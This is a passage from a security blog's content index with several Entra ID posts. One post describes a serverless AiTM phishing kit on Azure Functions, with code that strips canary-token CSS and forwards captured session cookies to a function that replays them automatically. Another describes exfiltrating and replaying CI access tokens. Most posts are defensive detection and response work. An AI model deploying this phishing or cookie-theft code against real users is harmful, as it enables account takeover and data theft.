\u0026#34;https://aadcdn.msauthimages.net/c1c6b6c8-1wy5jajuaicpgmkn0yfjuzogszah146ft3tns6kgqnw/logintenantbranding/0/customcss?ts=638472149364462653\u0026#34; } } \\], } } Interestingly, after entering the password, the custom CSS is fetched again, as there is a config within the html as javascript variable. As we are in control of our Azure AiTM Function, we can simply extend the replace_response_text function and remove the customCssUrl (and include some other fancy modifications to prove that the modifications work).\nasync function replace_response_text(response, upstream, original) { return ( response .text() .then((text) =\u0026gt; text.replace(new RegExp(upstream, \u0026#34;g\u0026#34;), original)) // Extended response modification to remove custom CSS URL that triggers the canary injection .then((text) =\u0026gt; text.replace(\u0026#34;customCssUrl\u0026#34;\\s*:\\s*\u0026#34;.*?\u0026#34;, \u0026#39;\u0026#34;customCssUrl\u0026#34;: \u0026#34;\u0026#39; + original + \u0026#39;\u0026#34;\u0026#39;)) // Just for the PoC purpose we can also modify the branding response if we wanted to .then((text) =\u0026gt; { try { const config = JSON.parse(text); // Remove custom CSS URL config.EstsProperties.UserTenantBranding[0].CustomizationFiles.customCssUrl = null; // Some more stuff to modify just as an example config.EstsProperties.UserTenantBranding[0].Illustration = \u0026#34;https://wallpapercave.com/wp/wp9414303.jpg\u0026#34;; config.EstsProperties.UserTenantBranding[0].BoilerPlateText = \u0026#34;Smile - You\u0026#39;re being 🎣\u0026#34;; return JSON.stringify(config); } catch { return text; } }) ); } Et voilà — we successfully evaded the canary token detection and also modified the wallpaper + sign-in page description (at least for the password prompt, on the MFA prompt the original branding is displayed):\nOf course, this would also remove any user-visible customizations but I haven’t seen many organizations who customized the Entra Sign-In page with custom CSS (despite for canary tokens).\nHosting with Microsoft Dev Tunnels # Instead of the Azure Function deployment we can also try to directly expose our local Function environment with Microsoft Dev Tunnels. To leverage dev tunnels we simply need a GitHub or Microsoft Account and change the visibility of the forward address to public:\nUnfortunately the Dev Tunnel service injects some heads-up messages that the accessed resource might be not too trustworthy:\nAfter bypassing the warning message we still get redirected to the local instance of the Azure AiTM function:\nThe actual usage of the phishing page wasn’t possible due to CORS issues caused by mismatches between the dev proxy url, localhost:7081 and login.microsoftonline.com. Mainly because of the dev tunnels warning messaged I didn’t invest more into this approach.\nAutomating the Initial Access # Instead of manually importing the cookies and replaying the session we can delegate this task to another function. This allows nearly instant session replay. Based on the logic of TokenTactics(v2) and the authorization code flow we can request a Microsoft Graph Access token for teams based on the captured cookies. The access token includes interesting OAuth 2.0 scopes such as:\nFiles.ReadWrite.All Mail.ReadWrite Sites.ReadWrite.All Theoretically we could also opt-in for an Azure Portal token if we target admin accounts but I think already the above scopes provide some interesting capabilities thinking about scenarios such as dumping all mail messages or files in SharePoint and OneDrive a user has access to. For the sake of this PoC I decided to simply enumerate the phished user’s details and the tenant details which also include the registered domains:\nTo do so, we extend the phishing function with the following logic to call another Azure Function once we acquired the necessary tokens:\nconst cookies = originalCookies.filter( (cookie) =\u0026gt; cookie.startsWith(\u0026#34;ESTSAUTH=\u0026#34;) || cookie.startsWith(\u0026#34;ESTSAUTHPERSISTENT=\u0026#34;) || cookie.startsWith(\u0026#34;SignInStateCookie=\u0026#34;) ); if (cookies.length == 3) { // transferring acquired cookies via HTTP post to another Azure function // Replace the URL to match the execution function fetch(\u0026#39;http://localhost:7071/execution\u0026#39;, { method: \u0026#34;POST\u0026#34;, body: JSON.stringify(cookies), headers: { \u0026#39;content-type\u0026#39;: \u0026#39;application/json\u0026#39; } }) } And the execution function will do the remainder of the work to acquire a Microsoft Graph Access token via authorization code flow and directly make the Microsoft Graph API calls:\nHelp! # This is pretty evil, only requires ~200 lines of code and super simple to setup. What can we do to defend and protect?\nDetection capabilities # To detect the Azure AiTM function used to phish the credentials we can leverage ‘common’ AiTM detection patterns as part of Entra ID logs such as:\nEmpty Entra Device IDs Sign-In originating not from a named or trusted location The application name matches OfficeHome The Sign-In IP address originates from the Microsoft Azure IP address ranges Although the IP address from Microsoft Azure IP ranges could be legitimate, e.g. from virtual machines that do not have explicit outbound connectivity methods via NAT gateway or firewall it is a good indicator for detecting the Azure AiTM function:\nFor other serverless phishing toolkits we could leverage the same technique by filtering for Sign-Ins coming from Cloudflare or AWS IP addresse ranges.\nTo detect the Azure IP addresses I use the Azure Service Endpoints and parse the IP address ranges. Unfortunately the IPs do not match the AppService entries or have a dedicated category for Azure Functions as this would gradually increase the confidence for detections.\nYou can find the detection rule within my ITDR repository. The actual replay of the session will also generate an interactive sign-in and uses the Microsoft Teams as app.\nBuilt-in detections? # Isn’t there any risk detection from Microsoft Entra ID Protection that should raise an alert here?\nIndeed there were some low-risk events that got automatically remediated as the phished user performed MFA as part of the sign-in:\nThis is also visible within the previous KQL query for some sign-ins:\nI also assume, because the deployed Function App is within the same country and even close to the city that this also has an impact on this kind of detection.\nNevertheless, I would have guessed that the following detections should and would hit — but they didn’t:\nAnomalous token Suspicious browser If you know why — please let me know.\nPrevention capabilities # As for all AiTM attacks the following measures have been proven effective as they prevent token issuance to the AiTM phishing toolkit:\nConditional Access: Require Compliant, Entra ID (hybrid) joined or registered device via device state filter Conditional Access: Enforcing Traffic originating from a compliant network location (Global Secure Access SSE) Conditional Access: Enforcing Named Network Locations (as a fallback) Leveraging phishing resistant authentication methods + enforcement via Conditional Access Response capabilities # Also for the response actions we can leverage the ‘standard’ AiTM activities:\nRevoke any sign-in and MFA sessions Identity rogue authenticators that might have been added Identity activity performed by the compromised accounts (Office Activity, Microsoft Graph Activity, Azure Activity) Recap and closing notes # After a lot of coding, learning about Azure Functions, researching other AiTM toolkits and understanding the OIDC authorization code flow in Entra I had the following “wow” moments:\nDeploying a serverless AiTM Phishing toolkit on Azure / other PaaS solutions is surprisingly simple Phishing for valid Entra credentials / cookies within tenants that only have (weak) MFA such as TOTP, push, SMS or phone sign-in is very effective to get initial access Canary tokens can be easily bypassed as Entra ID does not leave room for obfuscations of the tokens or uses built-in canary tokens for AiTM detections When automating the session replay to conduct execution, there is no time for any kind of detections or automated response actions as adversaries can directly benefit from the captured session without manual intervention It is therefore critical to invest in the prevention and getting your Conditional Access policies right. Leverage controls like device state, authentication strengths or named locations for all scenarios possible as this will disrupt the attacks.\nBig kudos to the following people who provided code samples and blogs about AiTM phishing, authorization code flow and cookies:\n@wesleyneelen\n@fabian_bader\n@janbakker_\nResources and Further References # Web browser cookies used in Microsoft Entra authentication — Microsoft Entra ID | Microsoft Learn Building an AITM attack tool in Cloudflare Workers (174 LOC) — Zolder B.V. Defending against the Attack of the Clone\\[d website\\]s! — Thinkst Thoughts Microsoft Graph permissions reference — Microsoft Graph | Microsoft Learn ","date":"1 April 2024","externalUrl":null,"permalink":"/aitm-phishing-with-azure-functions/","section":"Posts","summary":" Recently I stumbled over a nice post from Wesly Neelen who built an AiTM phishing toolkit based on a cloudflare worker. Although ‘prooven’ AitM phishing toolkits such as evilginx provide more capabilities in terms of flexibility and robustness I wanted to setup my own phishing toolkit that runs serverless on Azure — based on Azure Functions to phish some Entra ID credentials and cookies.\nAdvantages of serverless phishing toolkits # Serverless platform solutions such as Cloudflare workers, AWS lambda and Azure functions provide some advantages to phishing toolkits that are server-based:\nNo Infrastructure as a Service (IaaS) resources like virtual machines and public IP addresses are required, this allows faster deployments, easier scaling and comes with low costs Serverless platforms often have pooled outbound IP addresses that are dynamically assigned by the cloud provider No DNS domain name or name server entries are required as the cloud provider assigns URLs to the serverless functions As the domain names, IP addresses and certificates are issued and managed by the cloud provider, this goes usually hand-in-hand with better reputation Let’s do AiTM Phishing with Azure Functions # Demo # The following demo provides a quick overview about the Azure AiTM Function and the replay of the cookies in an incognito browser window:\n","title":"AiTM Phishing with Azure Functions","type":"posts"},{"content":"With the availability of passkeys the FIDO2 standards become more accessible in the form of password managers, web-browsers and (mobile) operating systems — without the need for dedicated hardware such as FIDO2 keys.\nMicrosoft is currently in the process of developing support for passkeys and shipping the public preview in Q1 2024:\nWhile this is a very welcome addition to make passwordless authentication easily accessible without dedicated hardware such as FIDO2 security keys this also introduces new risks, especially for high value accounts — But why’s that?\nLet’s imagine a fictive scenario (that might become reality in the future) of a user registering a passkey with his password manager app for a Microsoft Entra account. The security of this passkey is now determined by the security measures on the password manager app.\nFor the Microsoft roadmap this scenario is not (yet) applicable as Entra will only support device-bound passkeys. At the end of the day it is a similar situation as the security of the passkey depends on the device with the authenticator (passkey) on it and that’s not necessarily under the umbrella of IT security measures.\nFortunately there is hope and the FIDO alliance included that critical aspect of distinguishing authenticators in their standards as we’ll find out below.\nAttestation and AAGuids # Each authenticator that complies to the FIDO2 specification needs to support a thing called attestation. This is basically a proof about the authenticator that is backed by a certificate to indicate information about an authenticator such as the vendor, model and compliance with standards such as FIPS.\nThis attestation proof contains an unique identifier for the respective authenticator type, also called Authenticator Attestation Globally Unique ID (AAGuid). IdPs such as Entra ID can and should enforce attestation and can optionally enforce key restrictions. Key restrictions take effect for the registration and usage of FIDO2 security keys and passkeys as attestation info is sent during the registration and also the authentication.\nDuring the registration and authentication process, a FIDO2 security keys and passkeys will send attestation info within the request information. The AAGuid info during the registration can also be extracted via KQL from the Entra ID audit logs:\nLookup of AAGuids via FIDO2 MDS Blob # The AAGuids itself don’t come in a human readable format. The FIDO alliance publishes a Metadata Service (MDS) blob in the format of a signed JSON Web Token (JWT) that contains a list of all certified authenticators, including additional metadata and the corresponding AAGuids.\nUnfortunately this information is not exposed by the FIDO alliance in an accessible way and parsing the MDS blob manually is also poor from an admin perspective. Therefore I built a little web app called AAGUIDs, that pulls and parses the latest MDS blob on a daily basis and allows for easy AAGuid lookups.\nAdditionally, the passkey developers maintain a semi-official-ish repository (passkeydeveloper/passkey-authenticator-aaguids)of vendor-sourced AAGuids for passkeys that is combined with the FIDO MDS blob. I also daily pull and update a copy of that file, this can also be displayed within my web app by enabling the respective toggle:\nOne thing I am actually curious about is whether the passkeys will be added to the FIDO MDS blob, at least with the scheduled update for the 01.12.2023 they did not appear.\nDetecting registered FIDO2 security keys with KQL # With the gained knowledge about the FIDO MDS blob we can combine this information with the previous query about registered FIDO2 keys and their AAGuids. We can simply lookup the FIDO2 or Pass-Key based on the AAGuid.\nYou can use the following JSON for an externaldata lookup: ITDR/Watchlists/aaguids.json at main · nicolonsky/ITDR (github.com).\nAuthentication method enforcement and downgrade (attacks) # To enforce passkeys and FIDO2 security keys with Entra ID we have the following options available:\nSystem Preferred MFA: Entra ID will automatically suggest the most secure authentication method as default sign-in option. This is not really an enforcement but rather a nudge Authentication Methods: These control the available options, by disabling unwanted methods, you can allow only FIDO2 or Pass-Keys for specific personas Conditional Access: With the Authentication Strength Grant Control you can enforce a specific authentication method, either during sign-in or as part of an authentication context that can be used within Privileged Identity Management (PIM) or protected actions Buuuuut what’s actually even cooler is the capability that hides within the authentication strength configuration! Here we can enforce a specific FIDO2 authenticator based on the AAGuid and embed this within our Conditional Access Policies.\nWith that approach we can once passkeys become available in Entra ID build more fine grained authentication requirements for sensitive personas and still enjoy the benefits of passkeys.\nHunting for Authentication Method downgrades # Without the enforcement of a specific authentication strength the weakest link will be the weakest MFA option registered on a specific account. Unfortunately the Entra Sign-In logs do not indicate when a user bypassed system preferred MFA (it would be cool to store this within an error code or dedicated system preferred MFA field in the logs).\nBased on past sign-in logs and used authentication methods we can rank and compare the individual authentication methods and hunt for potential downgrade attacks or scenarios where a user leveraged a weaker authentication method.\nSummary # FIDO2 and passkeys are the future when it comes to passwordless and phishing resistant authentication methods. While the security of the methods differ, FIDO2 security keys will still be the gold-standard for sensitive accounts such as admin and VIP accounts. It is therefore important to think about the allowed FIDO2 and passkey options for the respective personas and putting the necessary enforcements into place to make sure that these new and more secure authentication methods are also used and a downgrade to weaker authentication methods such as password and MFA is not performed.\nResources and additional information # AAGUIDs (nicolasuter.ch) FIDO TechNotes: The Truth about Attestation — FIDO Alliance https://fidoalliance.org/metadata/ https://fidoalliance.org/specs/mds/fido-metadata-service-v3.0-ps-20210518.html By Nicola on December 1, 2023.\n","date":"1 December 2023","externalUrl":null,"permalink":"/have-you-heard-about-passkeys-and-aaguids/","section":"Posts","summary":"With the availability of passkeys the FIDO2 standards become more accessible in the form of password managers, web-browsers and (mobile) operating systems — without the need for dedicated hardware such as FIDO2 keys.\nMicrosoft is currently in the process of developing support for passkeys and shipping the public preview in Q1 2024:\nWhile this is a very welcome addition to make passwordless authentication easily accessible without dedicated hardware such as FIDO2 security keys this also introduces new risks, especially for high value accounts — But why’s that?\nLet’s imagine a fictive scenario (that might become reality in the future) of a user registering a passkey with his password manager app for a Microsoft Entra account. The security of this passkey is now determined by the security measures on the password manager app.\nFor the Microsoft roadmap this scenario is not (yet) applicable as Entra will only support device-bound passkeys. At the end of the day it is a similar situation as the security of the passkey depends on the device with the authenticator (passkey) on it and that’s not necessarily under the umbrella of IT security measures.\nFortunately there is hope and the FIDO alliance included that critical aspect of distinguishing authenticators in their standards as we’ll find out below.\n","title":"Have you heard about passkeys and AAGuids?","type":"posts"},{"content":"","date":"1 December 2023","externalUrl":null,"permalink":"/tags/identity/","section":"Tags","summary":"","title":"Identity","type":"tags"},{"content":"","date":"1 December 2023","externalUrl":null,"permalink":"/tags/security/","section":"Tags","summary":"","title":"Security","type":"tags"},{"content":"Microsoft 365 Defender and Sentinel provide an IdentityInfo table that contains various information that is helpful for threat hunting and detections. One key piece are also the assigned Entra directory roles for a specific identity. Unfortunately only permanently assigned permissions are covered and in times of Entra Privileged Identity Management (PIM) we should have standing permissions only for non-privileged roles and break-glass accounts.\nWithin this blog post I want to share a few tips and tricks to answer the following questions with Sentinel and a little bit of scripting and KQL:\nHow can we enrich the IdentityInfo table to include eligible assigned directory roles? Which synchronized user accounts have permanent or eligible directory roles assigned? (Spoiler: this should be avoided at all cost) Were eligible directory role assignments not used within the last couple of days and can therefore be removed? As a bonus I also prepared an analytics rule for mass unassignment of highly privileged Entra roles, as this tactic was used for example by the LAPSUS$ group.\nGathering PIM eligible Entra Directory Roles # As the IdentityInfo and other available built-in data sources do not include eligible role assignments we need a way to gather the existing role assignments. Fortunately, we can query the following Microsoft Graph endpoint to get the eligible permission assignments:\n`GET /roleManagement/directory/roleEligibilitySchedules?$expand=roleDefinition,principal\nThis will return the assigned role and the principal information. In case that the role was assigned to an Entra role-assignable group, the principal object holds the group id. To allow simplified enrichment without group membership lookups we can easily un-nest the assignments by getting the group members to have a flat list of users with their eligible role assignments.\nFor the data collection we have the following options:\nRun this on demand as an interactive PowerShell script Set it up as an Azure automation PowerShell runbook that will upload the CSV directly to a storage account Build a logic app PowerShell approach # You can find both options available on my ITDR GitHub Repository:\nInteractive: Get-AssignableRoles.ps1 Azure Automation runbook: Get-AssignableRoles-Automation.ps1 Just make sure, that the managed identity of the Automation Account has the following permissions:\nStorage Blob Data Contributor (Azure IAM) RoleManagement.Read.All (Microsoft Graph API) Once the CSV export of the runbook completed, we can create a shared access signature (SAS) to use the data within our queries:\nHere an example of the exported CSV from my lab tenant:\nLogic App approach # Another approach is to setup a logic app that will acquire and feed the watchlist directly. This also allows for initial population without a manual upload as Azure provides a dedicated API endpoint for this to bulk create or update the watchlist: Watchlists — Create Or Update — REST API.\nThe API endpoint uses the PUT HTTP verb but unfortunately the operation is not really idempotent as the watchlist items are not being overwritten, actually just being added. Nevertheless this provides a quick solution to propagate and use the data.\nThe managed identity of the logic app will require the following permissions:\nMicrosoft Sentinel Contributor (Azure IAM) RoleManagement.Read.All (Microsoft Graph API) You can find an export of my logic app here: Entra-ID-PIM-Eligible-Directory-Roles/la-pimroleassignments.json. Just make sure to update the managed identity references and variables to include your Sentinel workspace info.\nSentinel Integration # After we have a dump of all PIM eligible assignments let’s bring this data into Sentinel. We have two options:\nImport the CSV as watchlist and access the data via _GetWatchlist() function Embed the CSV via the externaldata function With both options we have the CSV available as KQL-like table:\nThe advantage with the externaldata operator is, that we have always the latest data available, in case you go for the Azure automation runbook and schedule it to run periodically, e.g. on a daily basis. Alternatively you could also automatically update the watchlist with a logic app or a similar mechanism. Here an example for the externaldata call:\nlet EligibleDirectoryRoles = externaldata(PrincipalId: guid, PrincipalType: string, UserPrincipalName: string, RoleDefinitionId: guid, RoleDefinitionName: string, DirectoryScopeId: string, AssignmentInheritedFrom: guid, AssignmentType:string) [ h@\u0026#39;https://stsecopsn01.blob.core.windows.net/watchlists/eligibleRoleAssignments.csv?...\u0026#39; ] with (format=csv, ignoreFirstRecord=true); IdentityInfo Enrichment # After having the PIM role assignments in Sentinel, we can start extending the IdentityInfo table:\nNow we have an IdentityInfo table with the EligibleDirectoryRoles column for each particular user account. This shows us both the permanently assigned and eligible directory roles 😎:\nAdditional Queries # Last PIM activation per role assignment # With the individual PIM role assignments available, we can query the last activation timestamp based on the Entra audit logs. This benefits the assessment of stale role assignments that can be removed. Depending on the result, this could also be an indicator whether an admin always elevates to the more-privileged role instead of the individual service roles.\nSynchronized user accounts with admin roles # Account separation is a very effective measure to limit the blast radius in case of on-premises compromise or account takeover. With the following query we can identify both permanent and eligible role assignments for synchronized user accounts:\nPublic IPs used for role activation # We can extend the above query to also parse the public IP addresses that were used to activate certain role assignments. This could be the foundation to implement a Conditional Access policy to limit the role activation via authentication context or additional detection rules:\nMalicious removal of Directory Roles # LAPSUS$ used the Mitre ATT\u0026amp;CK technique ‘Account Access Removal’ (T1531) to prevent victim tenants from accessing their cloud infrastructure with administrative accounts. We can use a detection rule to identify bulk-removal of highly sensitive directory roles that can lead to lockout of a Microsoft Entra Tenant.\nThe detection rule gathers Entra directory role removals for Global Administrators and Privileged Role Administrators.\nLink to the full detection rule: ITDR/Detections/T1531.Entra.HighlyPrivilegedRoleRemoval.md\nWe can also setup this detection as a Sentinel Analytics rule that will generate alerts for mass-role-unsassignments:\nLink to the analytics rule: T1531.Entra.HighlyPrivilegedRoleRemoval.yaml.\nConclusion # We already have the tools and the data available to correlate detections and hunting with PIM eligible role assignments so let’s use them to defend against attacks on admin accounts that don’t have standing permissions in place. For the future I’d hope that a column such as the EligibleRoleAssignments would be baked in into the Identity UEBA table to make this information accessible out of the box.\n// Ciao 👋\nBy Nicola on November 17, 2023.\n","date":"17 November 2023","externalUrl":null,"permalink":"/enriching-microsoft-sentinel-tables-with-eligible-entra-directory-roles/","section":"Posts","summary":"Microsoft 365 Defender and Sentinel provide an IdentityInfo table that contains various information that is helpful for threat hunting and detections. One key piece are also the assigned Entra directory roles for a specific identity. Unfortunately only permanently assigned permissions are covered and in times of Entra Privileged Identity Management (PIM) we should have standing permissions only for non-privileged roles and break-glass accounts.\nWithin this blog post I want to share a few tips and tricks to answer the following questions with Sentinel and a little bit of scripting and KQL:\nHow can we enrich the IdentityInfo table to include eligible assigned directory roles? Which synchronized user accounts have permanent or eligible directory roles assigned? (Spoiler: this should be avoided at all cost) Were eligible directory role assignments not used within the last couple of days and can therefore be removed? As a bonus I also prepared an analytics rule for mass unassignment of highly privileged Entra roles, as this tactic was used for example by the LAPSUS$ group.\nGathering PIM eligible Entra Directory Roles # As the IdentityInfo and other available built-in data sources do not include eligible role assignments we need a way to gather the existing role assignments. Fortunately, we can query the following Microsoft Graph endpoint to get the eligible permission assignments:\n","title":"Enriching Microsoft Sentinel tables with eligible Entra directory roles","type":"posts"},{"content":"Microsoft Sentinel Analytic Rules can be shared in both the YAML and ARM format, whereas the ARM format leverages JSON as file type. Within…\nMicrosoft Sentinel Analytic Rules can be shared in both the YAML and ARM format, whereas the ARM format leverages JSON as file type. Within this short post I want to demonstrate an approach that leverages a GitHub Action to automatically build and update the rules in YAML format — so you can just export and update existing rules without any manual conversion effort.\nFabian Bader built a cool solution called SentinelARConverter that allows conversion of exported Sentinel Analctic rules from ARM/JSON to YAML (and vice-versa). To emphasize sharing of analytic rules I wanted to adopt also the YAML format without the need to always manually convert the rules. Therefore I incorporated his solution into a GitHub Action.\nBuilding a GitHub Action # The automation of this task is fairly simple if you are already familiar with GitHub actions. In case you want to directly see the full pipeline, you can find it here. Otherwise keep on reading.\nThe GitHub action should be triggered as soon as I upload a new Export of an Analytics Rule to the repository. For that, we need to define a folder structure. I maintain the rules within a folder called AnalyticRules. Based on that we can define the triggers for the workflow and filter only for the analytic rules path. This will only run the Action, when a file within that folder get’s changed. Additionally, I added a workflow_dispatch trigger, this allows manual execution of the pipeline.\non: push: branches: [main] paths: - \u0026#34;AnalyticRules/*.json\u0026#34; workflow_dispatch: Besides the initial conversion, the Action should reflect changes to existing ARM/JSON Analytic Rules based on the last file modification timestamp.\nSo we do the following things:\nEnumerate all JSON files within the AnalyticRules folder Change the destination file type to YAML Check whether the destination file already exists or whether the JSON file was modified Convert the actual rule from JSON to YAML Install-Module SentinelARConverter -AcceptLicense -Force Get-ChildItem -Path \u0026#39;AnalyticRules\u0026#39; -Filter \u0026#39;*.json\u0026#39; | ForEach-Object { Write-Output \u0026#34;Processing file: $($_.Name)\u0026#34; $yamlFilePath = $_.FullName.Replace(\u0026#39;.json\u0026#39;, \u0026#39;.yaml\u0026#39;) if (-not (Test-Path $yamlFilePath) -or (Get-Item $yamlFilePath).LastWriteTime -lt $_.LastWriteTime) { Write-Host \u0026#34;Converting $($_.FullName) to $yamlFilePath\u0026#34; Convert-SentinelARArmToYaml -Filename $_.FullName -UseOriginalFilename } } After running the conversion, the Action should automatically commit and push the changes into the repository as I don’t want to do this manually.\nFor this, the workflow requires contents:write permissions, as GitHub will automatically grant the workflow permissions to commit and push changes to the repository.\ngit config --global user.name \u0026#39;SentinelARConverter\u0026#39; git config --global user.email \u0026#39;nicolonsky@users.noreply.github.com\u0026#39; git add AnalyticRules git commit -am \u0026#34;SentinelARConverter\u0026#34; git push Now we just need to combine the individual steps within a GitHub Action workflow file and store it within the: .github/workflows folder in the repository:\non: push: branches: [main] paths: - \u0026#34;AnalyticRules/*.json\u0026#34; workflow_dispatch: permissions: contents: write name: Build YAML Analytic Rules jobs: build: runs-on: ubuntu-latest name: Build YAML Analytic Rules steps: - uses: actions/checkout@v3 - name: Convert rules to YAML run: | Install-Module SentinelARConverter -AcceptLicense -Force Get-ChildItem -Path \u0026#39;AnalyticRules\u0026#39; -Filter \u0026#39;*.json\u0026#39; | ForEach-Object { Write-Output \u0026#34;Processing file: $($_.Name)\u0026#34; $yamlFilePath = $_.FullName.Replace(\u0026#39;.json\u0026#39;, \u0026#39;.yaml\u0026#39;) if (-not (Test-Path $yamlFilePath) -or (Get-Item $yamlFilePath).LastWriteTime -lt $_.LastWriteTime) { Write-Host \u0026#34;Converting $($_.FullName) to $yamlFilePath\u0026#34; Convert-SentinelARArmToYaml -Filename $_.FullName -UseOriginalFilename } } shell: pwsh - name: Commit and push changes run: | git config --global user.name \u0026#39;SentinelARConverter\u0026#39; git config --global user.email \u0026#39;nicolonsky@users.noreply.github.com\u0026#39; git add AnalyticRules git commit -am \u0026#34;SentinelARConverter\u0026#34; git push After committing or changing an Analytics Rule in JSON format, the GitHub action will take over and automatically build, commit and push the changes:\nDetailed info can then also be found within the run details of the workflow:\nCiao 👋 # I hope this helps you to simplify the sharing and maintenance of both analytic rules in YAML and JSON. Kudos again to Fabian Bader for building the converter!\nBy Nicola on November 13, 2023.\n","date":"13 November 2023","externalUrl":null,"permalink":"/maintaining-microsoft-sentinel-analytic-rules-in-json-and-yaml-with-github-actions/","section":"Posts","summary":"Microsoft Sentinel Analytic Rules can be shared in both the YAML and ARM format, whereas the ARM format leverages JSON as file type. Within…\nMicrosoft Sentinel Analytic Rules can be shared in both the YAML and ARM format, whereas the ARM format leverages JSON as file type. Within this short post I want to demonstrate an approach that leverages a GitHub Action to automatically build and update the rules in YAML format — so you can just export and update existing rules without any manual conversion effort.\nFabian Bader built a cool solution called SentinelARConverter that allows conversion of exported Sentinel Analctic rules from ARM/JSON to YAML (and vice-versa). To emphasize sharing of analytic rules I wanted to adopt also the YAML format without the need to always manually convert the rules. Therefore I incorporated his solution into a GitHub Action.\nBuilding a GitHub Action # The automation of this task is fairly simple if you are already familiar with GitHub actions. In case you want to directly see the full pipeline, you can find it here. Otherwise keep on reading.\nThe GitHub action should be triggered as soon as I upload a new Export of an Analytics Rule to the repository. For that, we need to define a folder structure. I maintain the rules within a folder called AnalyticRules. Based on that we can define the triggers for the workflow and filter only for the analytic rules path. This will only run the Action, when a file within that folder get’s changed. Additionally, I added a workflow_dispatch trigger, this allows manual execution of the pipeline.\n","title":"Maintaining Microsoft Sentinel Analytic Rules in JSON and YAML with GitHub Actions","type":"posts"},{"content":"Microsoft recently made the Microsoft Graph Activity Logs available as part of the Microsoft Entra ID diagnostic settings. This means we can use the MicrosoftGraphActivityLogs Table to enrich custom detections and analytic rules.\nWithin this post I want to elaborate closer on an attack scenario for workload identities that leverage workload identity federation and don’t have any persistent credentials or long lived secrets. But one type of credential artefacts is still theft-able — the short lived access tokens.\nAdversaries can try to exfiltrate the access token from the CI/CD environment such as a GitHub action and replay the token within another system to access Entra ID protected resources.\nThis tactic could also be used in scenarios with App Registrations that leverage certificates or clients secrets where adversaries don’t have access to the credentials but get possession of the access token due to exposure in cleartext such as in log files or decrypted TLS traffic.\nStealing and replaying workload identity access tokens # To demonstrate a scenario to steal and replay an access token of a workload identity, I prepared a demo scenario with a GitHub action that acquires access tokens for the Microsoft Graph API and the Azure Resource Manager API. The pipeline leverages federated credentials (also referred to as workload identity federation).\nAn attacker with access to the CI environment can modify the CI pipeline to exfiltrate the Entra ID access token, e.g. via outgoing webhook or DNS and the replay the access token to call protected resources such as the Microsoft Graph API.\nFull example of the GitHub Action workflow: ITDR/.github/workflows/token-theft-demo.yml at main · nicolonsky/ITDR\nIf the token was issued for Microsoft Graph resources, it is fairly simple to estimate the applicable permissions as they hide within the scopes of the JWT:\nIn my example I automated the token replay with a simple pipedream workflow that extracts the incoming access token from the webhook and performs a Microsoft Graph API request.\nThis automated replay has the advantage, that we do not need to worry about the expiration and can directly replay the token after exfiltration. In an advanced scenario we could even check the included permissions that are described as scopes within the token to find a potential target or writeable scope of the acquired token.\nDetection capabilities # This activity can be detected based on the AADServicePrincipalSignInLogs which contains information about the sign-in of the workload identity.\nThe Microsoft Graph API call from the replayed access token is visible within the MicrosoftGraphActivityLogs table.\nThe useful thing is, that we can lookup the corresponding sign-in for each Microsoft Graph activity based on the UniqueTokenIdentifier / SignInActivityId.\nWhen the IPAddress between the token issuance and activity doesn’t match, we have a strong indicator, that the token was replayed by a malicious actor. Additionally, we can also include the Azure Activity Logs within our detection, to also detect abuse based on Azure Activity and not only Microsoft Graph calls.\nYou can find the full detection within my new ITDR GitHub Repository: ITDR/Detections/T1528.Entra.ServicePrincipalAccessTokenReplay.md at main · nicolonsky/ITDR (github.com).\nThe query can also be used directly for a Sentinel analytics rule - simply adjust the detection frequency 🕵️‍♂️.\nYou can find an export of the rule on GitHub as well: ITDR/AnalyticRules/T1528.Entra.ServicePrincipalAccessTokenReplay.json at main · nicolonsky/ITDR (github.com)\nResponse # As workload identities and some Microsoft backend services also support continuous access evaluation (CAE) we can trigger a CAE aware action as response to limit further abuse. The following actions are honoured for CAE¹:\nService principal disable Service principal delete High service principal risk as detected by Microsoft Entra ID Protection Thanks to Microsoft Sentinel we can trigger the appropriate response action (disabling the service principal) directly from an automation based on a logic app. To keep track of the affected workload identity we store the ObjectId of the service principal within the alert enhancement:\nWith that we have everything to create a playbook to disable the affected workload identity:\nYou can find the playbook code here: ITDR/Playbooks/Entra-DisableServicePrincipal/LA-DisableServicePrincipal.json at main · nicolonsky/ITDR (github.com)\nMake sure, that the managed identity of the logic app has assigned Application.ReadWrite.All permissions to disable the service principal. With that we can now run our response action in form of a playbook against the service principal for which the token was replayed:\nAfter running the playbook, the service principal gets disabled in Entra ID:\nWhat about managed identities?! # When checking the AADManagedIdentitySignInLogs we will recognize that the sign-ins will not expose any IP or location information. Otherwise we could leverage the same detection capabilities as for ‘regular’ service principals or app registrations.\nI assume that we do not have this information as managed identities are not calling the Entra ID authentication endpoints ‘from the outside’ of Entra ID for access tokens, as managed identities expose an access token directly by calling an internal metadata endpoint such as:\nhttp://localhost:80/metadata/identity/oauth2/token\nUnfortunately, the same approach for token replay works with managed identities and we cannot determine or identify replay activities. An even bigger drawback was the fact, that in my case the access tokens for managed identities used by an automation account had a validity period of almost 24 hours.\nClosing notes # The Microsoft Graph Activity Logs provide valuable detection capabilities for Entra ID tenants. As Microsoft Graph is the de-facto standard it is a welcome addition, although we have other API’s still in place/use where we currently do not have visibility.\nThe Azure Activity logs do not contain read or list actions and are therefore not able to detect access token replay activities that solely enumerate or discover resources. That’s a clear advantage for the new Microsoft Graph Activity logs.\nPersonally I’d hoped that Microsoft leverages those signals I used for the detection as part of the Entra workload identities risk score but none of the activities did trigger service principal risk detections:\nSo 🤞(finger’s crossed) that these blind spots, especially around managed identities will be improved in the future.\nIngestion Delay # During testing and simulation of the access token replay I had sometimes very high delays when it came to the ingestion time after the replay took place, this is also noticeable by calculating the standard deviation:\nMore content # As I’m very interested in topics around Identity Threat Detection and Response (ITDR) I started a little GitHub project where I will add further resources for similar posts and artefacts in the future.\nAlso make sure to checkout Fabian Bader’s Detect threats using Microsoft Graph Logs — Part 1 — Cloudbrothers post where he uses the activity logs to identity common reconnaissance tools.\nReferences # Continuous access evaluation for workload identities in Microsoft Entra ID | Microsoft Learn By Nicola on November 8, 2023.\n","date":"8 November 2023","externalUrl":null,"permalink":"/have-you-heard-of-workload-identity-access-token-replay/","section":"Posts","summary":"Microsoft recently made the Microsoft Graph Activity Logs available as part of the Microsoft Entra ID diagnostic settings. This means we can use the MicrosoftGraphActivityLogs Table to enrich custom detections and analytic rules.\nWithin this post I want to elaborate closer on an attack scenario for workload identities that leverage workload identity federation and don’t have any persistent credentials or long lived secrets. But one type of credential artefacts is still theft-able — the short lived access tokens.\nAdversaries can try to exfiltrate the access token from the CI/CD environment such as a GitHub action and replay the token within another system to access Entra ID protected 